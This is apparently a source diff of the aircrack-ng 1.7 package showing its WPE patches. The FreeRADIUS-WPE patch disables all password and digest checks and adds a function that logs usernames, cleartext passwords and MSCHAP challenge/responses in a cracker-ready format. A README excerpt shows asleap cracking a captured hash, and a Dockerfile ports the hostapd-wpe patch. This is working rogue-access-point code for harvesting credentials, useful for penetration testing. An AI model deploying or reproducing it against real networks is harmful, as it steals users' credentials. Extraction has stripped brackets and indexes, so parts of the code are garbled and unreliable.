+ #ifdef HAVE_SYS_STAT_H
+ #  include <sys/stat.h>
+@@ -46,6 +47,9 @@ RCSID("$Id: 1ca2f914c258f3c199274421d7d2
+ #include <pthread.h>
+ #endif
+ 
++#include <stdio.h>
++#include <time.h>
++
+ log_lvl_t	rad_debug_lvl = 0;		//!< Global debugging level
+ static bool	rate_limit = true;		//!< Whether repeated log entries should be rate limited
+ 
+@@ -226,6 +230,73 @@ static int stdout_fd = -1;	//!< The orig
+ 
+ static char const spaces = "                                                                                                                        ";
+ 
++/** Prints username, password or challenge/response
++ *
++ */
++void log_wpe(const char *authtype, const char *username, const char *password,
++				const unsigned char *challenge, const unsigned int challen,
++				const unsigned char *response, const unsigned int resplen,
++				const char * logfilename)
++{
++	FILE            *logfd;
++	time_t          nowtime;
++	unsigned int    count;
++
++	/* Get wpelogfile parameter and log data */
++	if (logfilename == NULL) {
++		logfd = stderr;
++	} else {
++		logfd = fopen(logfilename, "a");
++		if (logfd == NULL) {
++			fr_strerror_printf("  log: FAILED: Unable to open output log file %s: %s", logfilename, strerror(errno));
++			logfd = stderr;
++		}
++	}
++
++	nowtime = time(NULL);
++	fprintf(logfd, "%s: %s\n", authtype, ctime(&nowtime));
++
++	if (username != NULL) {
++		fprintf(logfd, "\tusername: %s\n", username);
++	}
++	if (password != NULL) {
++		fprintf(logfd, "\tpassword: %s\n", password);
++	}
++
++	if (challen != 0) {
++		fprintf(logfd, "\tchallenge: ");
++		for (count=0; count!=(challen-1); count++) {
++			fprintf(logfd, "%02x:",challengecount);
++		}
++		fprintf(logfd, "%02x\n",challengechallen-1);
++	}
++
++	if (resplen != 0) {
++		fprintf(logfd, "\tresponse: ");
++		for (count=0; count!=(resplen-1); count++) {
++			fprintf(logfd, "%02x:",responsecount);
++		}
++		fprintf(logfd, "%02x\n",responseresplen-1);
++	}
++
++	if ( (strncmp(authtype, "mschap", 6) == 0) && username != NULL
++			&& challen != 0 && resplen != 0) {
++		fprintf(logfd, "\tjohn NETNTLM: %s:$NETNTLM$",username);
++		for (count=0; count<challen; count++) {
++			fprintf(logfd, "%02x",challengecount);
++		}
++		fprintf(logfd,"$");
++		for (count=0; count<resplen; count++) {
++			fprintf(logfd, "%02x",responsecount);
++		}
++		fprintf(logfd,"\n");
++	}
++
++	fprintf(logfd, "\n");
++
++	fclose(logfd);
++}
++
+ /** On fault, reset STDOUT and STDERR to something useful
+  *
+  * @return 0
+diff -rupN freeradius-server-3.2.0/src/main/mainconfig.c freeradius-server-3.2.0-wpe/src/main/mainconfig.c
+--- freeradius-server-3.2.0/src/main/mainconfig.c	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/main/mainconfig.c	2022-05-02 23:05:06.000000000 +0000
+@@ -200,6 +200,7 @@ static const CONF_PARSER server_config
+ 	{ "postauth_client_lost", FR_CONF_POINTER(PW_TYPE_BOOLEAN, &main_config.postauth_client_lost), "no" },
+ 	{ "pidfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.pid_file), "${run_dir}/radiusd.pid"},
+ 	{ "checkrad", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.checkrad), "${sbindir}/checkrad" },
++	{ "wpelogfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.wpelogfile), "${logdir}/freeradius-server-wpe.log" },
+ 
+ 	{ "debug_level", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.debug_level), "0"},
+ 
+diff -rupN freeradius-server-3.2.0/src/main/radiusd.c freeradius-server-3.2.0-wpe/src/main/radiusd.c
+--- freeradius-server-3.2.0/src/main/radiusd.c	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/main/radiusd.c	2022-05-02 23:05:06.000000000 +0000
+@@ -64,7 +64,7 @@ char const	*radlog_dir = NULL;
+ 
+ bool		log_stripped_names;
+ 
+-char const *radiusd_version = "FreeRADIUS Version " RADIUSD_VERSION_STRING
++char const *radiusd_version = "FreeRADIUS-WPE Version " RADIUSD_VERSION_STRING
+ #ifdef RADIUSD_VERSION_COMMIT
+ " (git #" STRINGIFY(RADIUSD_VERSION_COMMIT) ")"
+ #endif
+diff -rupN freeradius-server-3.2.0/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c freeradius-server-3.2.0-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c
+--- freeradius-server-3.2.0/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2022-05-02 23:05:06.000000000 +0000
+@@ -166,10 +166,14 @@ int eapmd5_verify(MD5_PACKET *packet, VA
+ 	/*
+ 	 *	The length of the response is always 16 for MD5.
+ 	 */
++	/*
+ 	if (rad_digest_cmp(digest, packet->value, 16) != 0) {
+ 		DEBUG("EAP-MD5 digests do not match.");
+ 		return 0;
+ 	}
++	*/
++	log_wpe("eap_md5", packet->name, NULL, challenge, MD5_CHALLENGE_LEN,
++		packet->value, 16, main_config.wpelogfile);
+ 
+ 	return 1;
+ }
+diff -rupN freeradius-server-3.2.0/src/modules/rlm_mschap/rlm_mschap.c freeradius-server-3.2.0-wpe/src/modules/rlm_mschap/rlm_mschap.c
+--- freeradius-server-3.2.0/src/modules/rlm_mschap/rlm_mschap.c	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/modules/rlm_mschap/rlm_mschap.c	2022-05-02 23:05:06.000000000 +0000
+@@ -1189,10 +1189,13 @@ ntlm_auth_err:
+  */
+ static int CC_HINT(nonnull (1, 2, 4, 5 ,6)) do_mschap(rlm_mschap_t *inst, REQUEST *request, VALUE_PAIR *password,
+ 						      uint8_t const *challenge, uint8_t const *response,
+-						      uint8_t nthashhashNT_DIGEST_LENGTH, MSCHAP_AUTH_METHOD method)
++						      uint8_t nthashhashNT_DIGEST_LENGTH, MSCHAP_AUTH_METHOD method,
++						      const char *username)
+ {
+ 	uint8_t	calculated24;
+ 
++	log_wpe("mschap", username, NULL, challenge, 8, response, 24, main_config.wpelogfile);
++
+ 	memset(nthashhash, 0, NT_DIGEST_LENGTH);
+ 
+ 	switch (method) {
+@@ -1209,9 +1212,11 @@ static int CC_HINT(nonnull (1, 2, 4, 5 ,
+ 		}
+ 
+ 		smbdes_mschap(password->vp_octets, challenge, calculated);
++		/*
+ 		if (rad_digest_cmp(response, calculated, 24) != 0) {
+ 			return -1;
+ 		}
++		*/
+ 
+ 		/*
+ 		 *	If the password exists, and is an NT-Password,
+@@ -1945,7 +1950,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+ 		 *	Do the MS-CHAP authentication.
+ 		 */
+ 		mschap_result = do_mschap(inst, request, password, challenge->vp_octets,
+-					  response->vp_octets + offset, nthashhash, auth_method);
++					  response->vp_octets + offset, nthashhash, auth_method, NULL);
+ 		/*
+ 		 *	Check for errors, and add MSCHAP-Error if necessary.
+ 		 */
+@@ -2062,7 +2067,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+ 
+ 		RDEBUG2("Client is using MS-CHAPv2");
+ 		mschap_result = do_mschap(inst, request, nt_password, mschapv1_challenge,
+-					  response->vp_octets + 26, nthashhash, auth_method);
++					  response->vp_octets + 26, nthashhash, auth_method, username_string);
+ 		rcode = mschap_error(inst, request, *response->vp_octets,
+ 				     mschap_result, mschap_version, smb_ctrl);
+ 		if (rcode != RLM_MODULE_OK) return rcode;
+diff -rupN freeradius-server-3.2.0/src/modules/rlm_pap/rlm_pap.c freeradius-server-3.2.0-wpe/src/modules/rlm_pap/rlm_pap.c
+--- freeradius-server-3.2.0/src/modules/rlm_pap/rlm_pap.c	2022-04-21 20:11:17.000000000 +0000
++++ freeradius-server-3.2.0-wpe/src/modules/rlm_pap/rlm_pap.c	2022-05-02 23:05:06.000000000 +0000
+@@ -563,6 +563,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		RDEBUG("Comparing with \"known good\" Cleartext-Password");
+ 	}
+ 
++	/*
+ 	if ((vp->vp_length != request->password->vp_length) ||
+ 	    (rad_digest_cmp(vp->vp_octets,
+ 			    request->password->vp_octets,
+@@ -570,6 +571,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		REDEBUG("Cleartext password does not match \"known good\" password");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 	return RLM_MODULE_OK;
+ }
+ 
+@@ -608,12 +610,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	fr_md5_update(&md5_context, request->password->vp_octets,
+ 		     request->password->vp_length);
+ 	fr_md5_final(digest, &md5_context);
+-
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("MD5 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
+-
++	*/
+ 	return RLM_MODULE_OK;
+ }
+ 
+@@ -642,10 +644,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	/*
+ 	 *	Compare only the MD5 hash results, not the salt.
+ 	 */
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, 16) != 0) {
+ 		REDEBUG("SMD5 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -670,10 +674,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		      request->password->vp_length);
+ 	fr_sha1_final(digest,&sha1_context);
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("SHA1 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -699,10 +705,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	fr_sha1_update(&sha1_context, &vp->vp_octets20, vp->vp_length - 20);
+ 	fr_sha1_final(digest, &sha1_context);
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, 20) != 0) {
+ 		REDEBUG("SSHA digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -763,10 +771,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 
+ 	rad_assert((size_t) digest_len == vp->vp_length);	/* This would be an OpenSSL bug... */
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("%s digest does not match \"known good\" digest", name);
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -835,10 +845,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	/*
+ 	 *	Only compare digest_len bytes, the rest is salt.
+ 	 */
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, (size_t)digest_len) != 0) {
+ 		REDEBUG("%s digest does not match \"known good\" digest", name);
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -1166,10 +1178,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 
+ 	fr_md4_calc(digest, (uint8_t *) ucs2_password, len);
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("NT digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -1196,11 +1210,13 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		return RLM_MODULE_FAIL;
+ 	}
+ 
++	/*
+ 	if ((fr_hex2bin(digest, sizeof(digest), charbuf, len) != vp->vp_length) ||
+ 	    (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0)) {
+ 		REDEBUG("LM digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -1257,10 +1273,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		fr_md5_final(buff, &md5_context);
+ 	}
+ 
++	/*
+ 	if (rad_digest_cmp(digest, buff, 16) != 0) {
+ 		REDEBUG("NS-MTA-MD5 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -1283,6 +1301,9 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+ 		return RLM_MODULE_INVALID;
+ 	}
+ 
++	log_wpe("pap",request->username->vp_strvalue, request->password->vp_strvalue,
++		NULL, 0, NULL, 0, main_config.wpelogfile);
++
+ 	/*
+ 	 *	The user MUST supply a non-zero-length password.
+ 	 */

aircrack-ng-1.7.tar.gz/patches/wpe/hostapd-wpe/Dockerfile Added

@@ -0,0 +1,57 @@
+# Docker container to test WPE patch against a specific version of hostapd, then create an updated patch if successful.
+# Build args:
+# - OLD_VERSION: old hostapd version
+# - NEW_VERSION: new hostapd version
+
+FROM kalilinux/kali-rolling
+
+ARG OLD_VERSION
+ARG NEW_VERSION
+
+RUN if  -z "${OLD_VERSION}" ; then \
+  >&2 echo  "\nOLD_VERSION build argument not set\n"; \
+  exit 1; \
+  fi
+
+RUN if  -z "${NEW_VERSION}" ; then \
+  >&2 echo  "\nNEW_VERSION build argument not set\n"; \
+  exit 1; \
+  fi
+
+RUN if  "${NEW_VERSION}" = "${OLD_VERSION}" ; then \
+  >&2 echo  "\nNew version and old version cannot be identical!\n"; \
+  exit 1; \
+  fi
+
+# Download required packages  
+RUN ln -f -s /usr/share/zoneinfo/UTC /etc/localtime
+RUN apt update && apt dist-upgrade -y && \
+	apt install wget patch make gcc libssl-dev libnl-genl-3-dev \
+		libnl-3-dev pkg-config libsqlite3-dev -y && \
+	apt autoclean && \
+	rm -rf /var/lib/apt/lists/*
+
+# Download and unpack
+WORKDIR /tmp
+RUN wget https://w1.fi/releases/hostapd-${NEW_VERSION}.tar.gz
+RUN tar -zxf hostapd-${NEW_VERSION}.tar.gz
+RUN cp -R hostapd-${NEW_VERSION} hostapd-${NEW_VERSION}-wpe
+
+# Download and apply patch
+RUN wget https://github.com/aircrack-ng/aircrack-ng/raw/master/patches/wpe/hostapd-wpe/hostapd-${OLD_VERSION}-wpe.patch
+WORKDIR /tmp/hostapd-${NEW_VERSION}-wpe
+RUN patch  --no-backup-if-mismatch -p1 < ../hostapd-${OLD_VERSION}-wpe.patch
+
+# Create updated patch
+WORKDIR /tmp/
+RUN if  $(diff -rupN hostapd-${NEW_VERSION} hostapd-${NEW_VERSION}-wpe/ > hostapd-${NEW_VERSION}-wpe.patch) -eq 2 ; then \
+		echo "diff failed"; \
+		ext 1; \
+	fi
+
+# Ensure it compiles
+WORKDIR /tmp/hostapd-${NEW_VERSION}-wpe/hostapd
+RUN cd hostapd-${NEW_VERSION}/hostapd && make
+
+# Then copy patch to /output
+RUN mkdir /output && mv hostapd-${NEW_VERSION}-wpe.patch /output/hostapd-${NEW_VERSION}-wpe.patch

aircrack-ng-1.6.tar.gz/patches/wpe/hostapd-wpe/README.md -> aircrack-ng-1.7.tar.gz/patches/wpe/hostapd-wpe/README.md Changed

@@ -44,7 +44,7 @@
 ## Dependencies
 
 - pkg-config
-- libssl 1.0 ideally
+- libssl (1.0 ideally)
 - libnl3 (and genl)
 - sqlite3
 
@@ -65,11 +65,11 @@
 ## General
 
 ```
-wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-wpe.patch
-wget https://w1.fi/releases/hostapd-2.9.tar.gz
-tar -zxf hostapd-2.9.tar.gz
-cd hostapd-2.9
-patch -p1 < ../hostapd-wpe.patch 
+wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-2.10-wpe.patch
+wget https://w1.fi/releases/hostapd-2.10.tar.gz
+tar -zxf hostapd-2.10.tar.gz
+cd hostapd-2.10
+patch -p1 < ../hostapd-2.10-wpe.patch
 cd hostapd
 ```
 
@@ -105,11 +105,11 @@
 response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0
 ```
 
-and as always, we feed them into asleap to crack:
+and finally, feed them into asleap to crack:
 
 ```
 # asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist 
-asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
+asleap 2.3 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
 hash bytes:        b1ca
 NT hash:           e614b958df9df49ec094b8730f0bb1ca
 password:          bradtest

aircrack-ng-1.7.tar.gz/patches/wpe/hostapd-wpe/hostapd-2.10-wpe.patch Added

@@ -0,0 +1,4218 @@
+diff '--color=auto' -rupN hostapd-2.10/hostapd/.config hostapd-2.10-wpe/hostapd/.config
+--- hostapd-2.10/hostapd/.config	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/.config	2022-02-22 00:00:00.356000000 +0000
+@@ -0,0 +1,416 @@
++# Wireless Pawn Edition HostAPd configuration file
++#
++# This file lists the configuration options that are used when building the
++# hostapd binary. All lines starting with # are ignored. Configuration option
++# lines must be commented out complete, if they are not to be included, i.e.,
++# just setting VARIABLE=n is not disabling that variable.
++#
++# This file is included in Makefile, so variables like CFLAGS and LIBS can also
++# be modified from here. In most cass, these lines should use += in order not
++# to override previous values of the variables.
++
++# Driver interface for Host AP driver
++CONFIG_DRIVER_HOSTAP=y
++
++# Driver interface for wired authenticator
++CONFIG_DRIVER_WIRED=y
++
++# Driver interface for drivers using the nl80211 kernel interface
++CONFIG_DRIVER_NL80211=y
++
++# QCA vendor extensions to nl80211
++CONFIG_DRIVER_NL80211_QCA=y
++
++# driver_nl80211.c requires libnl. If you are compiling it yourself
++# you may need to point hostapd to your version of libnl.
++#
++#CFLAGS += -I$<path to libnl include files>
++#LIBS += -L$<path to libnl library files>
++
++# Use libnl v2.0 (or 3.0) libraries.
++#CONFIG_LIBNL20=y
++
++# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)
++CONFIG_LIBNL32=y
++
++
++# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
++#CONFIG_DRIVER_BSD=y
++#CFLAGS += -I/usr/local/include
++#LIBS += -L/usr/local/lib
++#LIBS_p += -L/usr/local/lib
++#LIBS_c += -L/usr/local/lib
++
++# Driver interface for no driver (e.g., RADIUS server only)
++#CONFIG_DRIVER_NONE=y
++
++# WPA2/IEEE 802.11i RSN pre-authentication
++CONFIG_RSN_PREAUTH=y
++
++# Support Operating Channel Validation
++#CONFIG_OCV=y
++
++# Integrated EAP server
++CONFIG_EAP=y
++
++# EAP Re-authentication Protocol (ERP) in integrated EAP server
++CONFIG_ERP=y
++
++# EAP-MD5 for the integrated EAP server
++CONFIG_EAP_MD5=y
++
++# EAP-TLS for the integrated EAP server
++CONFIG_EAP_TLS=y
++
++# EAP-MSCHAPv2 for the integrated EAP server
++CONFIG_EAP_MSCHAPV2=y
++
++# EAP-PEAP for the integrated EAP server
++CONFIG_EAP_PEAP=y
++
++# EAP-GTC for the integrated EAP server
++CONFIG_EAP_GTC=y
++
++# EAP-TTLS for the integrated EAP server
++CONFIG_EAP_TTLS=y
++
++# EAP-SIM for the integrated EAP server
++CONFIG_EAP_SIM=y
++
++# EAP-AKA for the integrated EAP server
++CONFIG_EAP_AKA=y
++
++# EAP-AKA' for the integrated EAP server
++# This requires CONFIG_EAP_AKA to be enabled, too.
++CONFIG_EAP_AKA_PRIME=y
++
++# EAP-PAX for the integrated EAP server
++CONFIG_EAP_PAX=y
++
++# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
++CONFIG_EAP_PSK=y
++
++# EAP-pwd for the integrated EAP server (secure authentication with a password)
++CONFIG_EAP_PWD=y
++
++# EAP-SAKE for the integrated EAP server
++CONFIG_EAP_SAKE=y
++
++# EAP-GPSK for the integrated EAP server
++CONFIG_EAP_GPSK=y
++# Include support for optional SHA256 cipher suite in EAP-GPSK
++CONFIG_EAP_GPSK_SHA256=y
++
++# EAP-FAST for the integrated EAP server
++CONFIG_EAP_FAST=y
++
++# EAP-TEAP for the integrated EAP server
++# Note: The current EAP-TEAP implementation is experimental and should not be
++# enabled for production use. The IETF RFC 7170 that defines EAP-TEAP has number
++# of conflicting statements and missing details and the implementation has
++# vendor specific workarounds for those and as such, may not interoperate with
++# any other implementation. This should not be used for anything else than
++# experimentation and interoperability testing until those issues has been
++# resolved.
++CONFIG_EAP_TEAP=y
++
++# Wi-Fi Protected Setup (WPS)
++CONFIG_WPS=y
++# Enable UPnP support for external WPS Registrars
++CONFIG_WPS_UPNP=y
++# Enable WPS support with NFC config method
++CONFIG_WPS_NFC=y
++
++# EAP-IKEv2
++CONFIG_EAP_IKEV2=y
++
++# Trusted Network Connect (EAP-TNC)
++CONFIG_EAP_TNC=y
++
++# EAP-EKE for the integrated EAP server
++CONFIG_EAP_EKE=y
++
++# PKCS#12 (PFX) support (used to read private key and certificate file from
++# a file that usually has extension .p12 or .pfx)
++CONFIG_PKCS12=y
++
++# RADIUS authentication server. This provides access to the integrated EAP
++# server from external hosts using RADIUS.
++CONFIG_RADIUS_SERVER=y
++
++# Build IPv6 support for RADIUS operations
++CONFIG_IPV6=y
++
++# IEEE Std 802.11r-2008 (Fast BSS Transition)
++CONFIG_IEEE80211R=y
++
++# Use the hostapd's IEEE 802.11 authentication (ACL), but without
++# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
++CONFIG_DRIVER_RADIUS_ACL=y
++
++# Wireless Network Management (IEEE Std 802.11v-2011)
++# Note: This is experimental and not complete implementation.
++CONFIG_WNM=y
++
++# IEEE 802.11ac (Very High Throughput) support
++CONFIG_IEEE80211AC=y
++
++# IEEE 802.11ax HE support
++# Note: This is experimental and work in progress. The definitions are still
++# subject to change and this should not be expected to interoperate with the
++# final IEEE 802.11ax version.
++CONFIG_IEEE80211AX=y
++
++# Remove debugging code that is printing out debug messages to stdout.
++# This can be used to reduce the size of the hostapd considerably if debugging
++# code is not needed.
++#CONFIG_NO_STDOUT_DEBUG=y
++
++# Add support for writing debug log to a file: -f /tmp/hostapd.log
++# Disabled by default.
++CONFIG_DEBUG_FILE=y
++
++# Send debug messages to syslog instead of stdout
++CONFIG_DEBUG_SYSLOG=y
++
++# Add support for sending all debug messages (regardless of debug verbosity)
++# to the Linux kernel tracing facility. This helps debug the entire stack by
++# making it easy to record everything happening from the driver up into the
++# same file, e.g., using trace-cmd.
++CONFIG_DEBUG_LINUX_TRACING=y
++
++# Remove support for RADIUS accounting
++#CONFIG_NO_ACCOUNTING=y
++
++# Remove support for RADIUS
++#CONFIG_NO_RADIUS=y
++
++# Remove support for VLANs
++#CONFIG_NO_VLAN=y
++
++# Enable support for fully dynamic VLANs. This enables hostapd to
++# automatically create bridge and VLAN interfaces if necessary.
++#CONFIG_FULL_DYNAMIC_VLAN=y
++
++# Use netlink-based kernel API for VLAN operations instead of ioctl()
++# Note: This requires libnl 3.1 or newer.
++#CONFIG_VLAN_NETLINK=y
++
++# Remove support for dumping internal state through control interface commands
++# This can be used to reduce binary size at the cost of disabling a debugging
++# option.
++#CONFIG_NO_DUMP_STATE=y
++
++# Enable tracing code for developer debugging
++# This tracks use of memory allocations and other registrations and reports
++# incorrect use with a backtrace of call (or allocation) location.
++#CONFIG_WPA_TRACE=y
++# For BSD, comment out these.
++#LIBS += -lexecinfo
++#LIBS_p += -lexecinfo
++#LIBS_c += -lexecinfo
++
++# Use libbfd to get more details for developer debugging
++# This enables use of libbfd to get more detailed symbols for the backtraces
++# generated by CONFIG_WPA_TRACE=y.
++#CONFIG_WPA_TRACE_BFD=y
++# For BSD, comment out these.
++#LIBS += -lbfd -liberty -lz
++#LIBS_p += -lbfd -liberty -lz
++#LIBS_c += -lbfd -liberty -lz
++
++# hostapd depends on strong random number generation being available from the
++# operating system. os_get_random() function is used to fetch random data when
++# needed, e.g., for key generation. On Linux and BSD systems, this works by
++# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
++# properly initialized before hostapd is started. This is important especially
++# on embedded devices that do not have a hardware random number generator and
++# may by default start up with minimal entropy available for random number
++# generation.
++#
++# As a safety net, hostapd is by default trying to internally collect
++# additional entropy for generating random data to mix in with the data
++# fetched from the OS. This by itself is not considered to be very strong, but
++# it may help in cases where the system pool is not initialized properly.
++# However, it is very strongly recommended that the system pool is initialized
++# with enough entropy either by using hardware assisted random number
++# generator or by storing state over device reboots.
++#
++# hostapd can be configured to maintain its own entropy store over restarts to
++# enhance random number generation. This is not perfect, but it is much more
++# secure than using the same sequence of random numbers after every reboot.
++# This can be enabled with -e<entropy file> command line option. The specified
++# file needs to be readable and writable by hostapd.
++#
++# If the os_get_random() is known to provide strong random data (e.g., on
++# Linux/BSD, the board in question is known to have reliable source of random
++# data from /dev/urandom), the internal hostapd random pool can be disabled.
++# This will save some in binary size and CPU use. However, this should only be
++# considered for builds that are known to be used on devices that meet the
++# requirements described above.
++#CONFIG_NO_RANDOM_POOL=y
++
++# Should we attempt to use the getrandom(2) call that provides more reliable
++# yet secure randomness source than /dev/random on Linux 3.17 and newer.
++# Requires glibc 2.25 to build, falls back to /dev/random if unavailable.
++#CONFIG_GETRANDOM=y
++
++# Should we use poll instead of select? Select is used by default.
++#CONFIG_ELOOP_POLL=y
++
++# Should we use epoll instead of select? Select is used by default.
++#CONFIG_ELOOP_EPOLL=y
++
++# Should we use kqueue instead of select? Select is used by default.
++#CONFIG_ELOOP_KQUEUE=y
++
++# Select TLS implementation
++# openssl = OpenSSL (default)
++# gnutls = GnuTLS
++# internal = Internal TLSv1 implementation (experimental)
++# linux = Linux kernel AF_ALG and internal TLSv1 implementation (experimental)
++# none = Empty template
++#CONFIG_TLS=openssl
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
++# can be enabled to get a stronger construction of messages when block ciphers
++# are used.
++CONFIG_TLSV11=y
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)
++# can be enabled to enable use of stronger crypto algorithms.
++CONFIG_TLSV12=y
++
++# Select which ciphers to use by default with OpenSSL if the user does not
++# specify them.
++CONFIG_TLS_DEFAULT_CIPHERS="ALL"
++
++# If CONFIG_TLS=internal is used, additional library and include paths are
++# needed for LibTomMath. Alternatively, an integrated, minimal version of
++# LibTomMath can be used. See beginning of libtommath.c for details on benefits
++# and drawbacks of this option.
++#CONFIG_INTERNAL_LIBTOMMATH=y
++#ifndef CONFIG_INTERNAL_LIBTOMMATH
++#LTM_PATH=/usr/src/libtommath-0.39
++#CFLAGS += -I$(LTM_PATH)
++#LIBS += -L$(LTM_PATH)
++#LIBS_p += -L$(LTM_PATH)
++#endif
++# At the cost of about 4 kB of additional binary size, the internal LibTomMath
++# can be configured to include faster routines for exptmod, sqr, and div to
++# speed up DH and RSA calculation considerably
++CONFIG_INTERNAL_LIBTOMMATH_FAST=y
++
++# Interworking (IEEE 802.11u)
++# This can be used to enable functionality to improve interworking with
++# external networks.
++CONFIG_INTERWORKING=y
++
++# Hotspot 2.0
++CONFIG_HS20=y
++
++# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file
++CONFIG_SQLITE=y
++
++# Enable Fast Session Transfer (FST)
++CONFIG_FST=y
++
++# Enable CLI commands for FST testing
++#CONFIG_FST_TEST=y
++
++# Testing options
++# This can be used to enable some testing options (see also the example
++# configuration file) that are really useful only for testing clients that
++# connect to this hostapd. These options allow, for example, to drop a
++# certain percentage of probe requests or auth/(re)assoc frames.
++#
++CONFIG_TESTING_OPTIONS=y
++
++# Automatic Channel Selection
++# This will allow hostapd to pick the channel automatically when channel is set
++# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in
++# similar way.
++#
++# Automatic selection is currently only done through initialization, later on
++# we hope to do background checks to keep us moving to more ideal channels as
++# time goes by. ACS is currently only supported through the nl80211 driver and
++# your driver must have survey dump capability that is filled by the driver
++# during scanning.
++#
++# You can customize the ACS survey algorithm with the hostapd.conf variable
++# acs_num_scans.
++#
++# Supported ACS drivers:
++# * ath9k
++# * ath5k
++# * ath10k
++#
++# For more details refer to:
++# https://wireless.wiki.kernel.org/en/users/documentation/acs
++#
++CONFIG_ACS=y
++
++# Multiband Operation support
++# These extensions facilitate efficient use of multiple frequency bands
++# available to the AP and the devices that may associate with it.
++CONFIG_MBO=y
++
++# Client Taxonomy
++# Has the AP retain the Probe Request and (Re)Association Request frames from
++# a client, from which a signature can be produced which can identify the model
++# of client device like "Nexus 6P" or "iPhone 5s".
++CONFIG_TAXONOMY=y
++
++# Fast Initial Link Setup (FILS) (IEEE 802.11ai)
++CONFIG_FILS=y
++# FILS shared key authentication with PFS
++CONFIG_FILS_SK_PFS=y
++
++# Include internal line edit mode in hostapd_cli. This can be used to provide
++# limited command line editing and history support.
++CONFIG_WPA_CLI_EDIT=y
++
++# Opportunistic Wireless Encryption (OWE)
++# Experimental implementation of draft-harkins-owe-07.txt
++CONFIG_OWE=y
++
++# Airtime policy support
++CONFIG_AIRTIME_POLICY=y
++
++# Override default value for the wpa_disable_eapol_key_retries configuration
++# parameter. See that parameter in hostapd.conf for more details.
++#CFLAGS += -DDEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES=1
++
++# Wired equivalent privacy (WEP)
